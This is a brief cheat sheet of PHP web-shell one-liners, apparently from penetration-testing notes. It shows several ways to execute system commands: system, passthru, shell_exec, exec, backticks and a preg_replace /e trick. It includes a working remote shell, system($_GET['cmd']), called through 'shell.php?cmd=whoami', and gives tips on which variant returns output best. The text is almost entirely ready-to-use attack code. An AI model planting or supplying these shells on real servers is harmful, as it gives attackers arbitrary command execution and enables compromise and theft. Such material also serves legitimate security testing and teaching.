# Execute one command system("whoami"); # Take input from the url paramter. shell.php?cmd=whoami system($_GET['cmd']); # The same but using passthru passthru($_GET['cmd']); # For shell_exec to output the result you need to echo it echo shell_exec("whoami");# Exec() does not output the result without echo, and only output the last line. So not very useful! echo exec("whoami");# Instead to this if you can. It will return the output as an array, and then print it all. exec("ls -la",$array); print_r($array); # preg_replace(). This is a cool trick preg_replace('/.*/e', 'system("whoami");', ''); # Using backticks $output = `whoami`; echo "<pre>$output</pre>"; # Using backticks echo `whoami`;